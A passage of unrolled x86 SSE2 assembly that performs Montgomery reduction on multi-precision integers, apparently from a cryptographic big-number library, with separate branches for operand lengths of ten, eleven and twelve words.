pshuflw $(254), %xmm7, %xmm6
movd (4)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (44)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (4)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (4)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (44)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (8)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (48)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (48)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (12)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (52)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (52)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (16)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (56)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (56)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (20)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (60)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (60)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (24)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (64)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (64)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (28)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (68)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (68)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (32)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (72)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (72)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (36)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (76)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (76)(%edx)
pshuflw $(254), %xmm7, %xmm6
psrlq $(32), %xmm7
add $(40), %edx
jmp .Lfinishgas_1
.Ltst_reduct11gas_1:
cmp $(11), %edi
jne .Ltst_reduct12gas_1
movd (24)(%ebp), %xmm5
pandn %xmm6, %xmm6
movd (%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (44)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (4)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (4)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (44)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (4)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (48)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (4)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (4)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (48)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (8)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (52)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (52)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (12)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (56)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
